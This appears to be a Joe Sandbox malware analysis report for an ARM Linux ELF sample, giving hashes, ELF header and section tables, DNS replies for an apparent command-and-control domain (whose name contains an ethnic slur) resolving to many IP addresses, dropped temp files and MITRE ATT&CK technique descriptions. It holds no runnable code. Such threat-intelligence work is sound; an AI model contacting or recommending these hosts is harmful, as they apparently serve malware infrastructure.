TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	t7bAVQ2wpF.elf
File size:	41'836 bytes
MD5:	8e0a09cf1671e5988ee92306eaf9f3ba
SHA1:	c1dbf170739dfc193bcec378cdabc5ac42d49656
SHA256:	582a9ac17eead1eb6737b79c6cd3b27512ca66a42bbcd0785dfb2853fe0a0c43
SHA512:	f80faf865a69752e4995808e7d6d5e03815128c7ed1f2f3e035fe86b37e629fd4a6bf4c6add33efc3ec75e324b7d9f688c2b6da68dcdbb9989ecf607377fd2be
SSDEEP:	768:RVb9soSNkoQ80G+lIz646QNDZ3WCkac8HzD+GlnI8sR:XUkfvldmZxoUD/nI8sR
TLSH:	5713E986B851CA56C5C591BBBA0E83DD371623E8E1EE7303DE05AF553A5B82F0E3B540
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................................................p...............Q.td..................................-...L."...z#..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	41396
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x8e20	0x0	0x6	AX	16
.fini	PROGBITS	0x10ed0	0x8ed0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x10ee4	0x8ee4	0x10c4	0x0	0x2	A	4
.ctors	PROGBITS	0x1a000	0xa000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1a008	0xa008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1a010	0xa010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1a014	0xa014	0x15c	0x0	0x3	WA	4
.bss	NOBITS	0x1a170	0xa170	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xa170	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x9fa8	0x9fa8	6.1071	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xa000	0x1a000	0x1a000	0x170	0x1308	0.6788	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	86.104.194.181	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	5.181.80.140	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	86.104.194.171	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	5.181.80.130	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	86.104.194.178	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	204.76.203.101	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	204.76.203.103	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	86.104.194.115	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	204.76.203.223	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	5.181.80.59	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	5.181.80.61	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	204.76.203.63	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	5.181.80.189	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	204.76.203.5	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:36:21.151890039 CEST	51.254.162.59	192.168.2.13	0xd9db	No error (0)	chinklabs.dyn	5.181.80.60	A (IP address)	IN (0x0001)	false

Start time (UTC):	09:36:19
Start date (UTC):	27/04/2024
Path:	/tmp/t7bAVQ2wpF.elf
Arguments:	/tmp/t7bAVQ2wpF.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	09:36:20
Start date (UTC):	27/04/2024
Path:	/tmp/t7bAVQ2wpF.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report t7bAVQ2wpF.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.05dI6u (deleted)

/tmp/qemu-open.0NSPCt (deleted)

/tmp/qemu-open.16T5Fr (deleted)

/tmp/qemu-open.1hMrQu (deleted)

/tmp/qemu-open.1olMzs (deleted)

/tmp/qemu-open.1pmJfv (deleted)

/tmp/qemu-open.20TNAt (deleted)

/tmp/qemu-open.2UBYvr (deleted)

/tmp/qemu-open.3Qy7fr (deleted)

/tmp/qemu-open.3ns57t (deleted)

/tmp/qemu-open.3xLHNr (deleted)

/tmp/qemu-open.4gTU4q (deleted)

/tmp/qemu-open.4kjbhr (deleted)

/tmp/qemu-open.503nVt (deleted)

/tmp/qemu-open.5nDIlt (deleted)

/tmp/qemu-open.5xIpbt (deleted)

/tmp/qemu-open.7YYFys (deleted)

/tmp/qemu-open.7bsWsu (deleted)

/tmp/qemu-open.8Q95Ps (deleted)

/tmp/qemu-open.8hW71r (deleted)

/tmp/qemu-open.92otVu (deleted)

/tmp/qemu-open.9HSmvs (deleted)

/tmp/qemu-open.AEKlfu (deleted)

/tmp/qemu-open.AyjHfr (deleted)

/tmp/qemu-open.BqJC7r (deleted)

/tmp/qemu-open.CDVijs (deleted)

/tmp/qemu-open.CPo9xt (deleted)

/tmp/qemu-open.EYTP7t (deleted)

/tmp/qemu-open.Eb56ou (deleted)

/tmp/qemu-open.EtWyFv (deleted)

/tmp/qemu-open.Eu0K0u (deleted)

/tmp/qemu-open.HWrPUt (deleted)

/tmp/qemu-open.JNJTYs (deleted)

Linux Analysis Report
t7bAVQ2wpF.elf

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre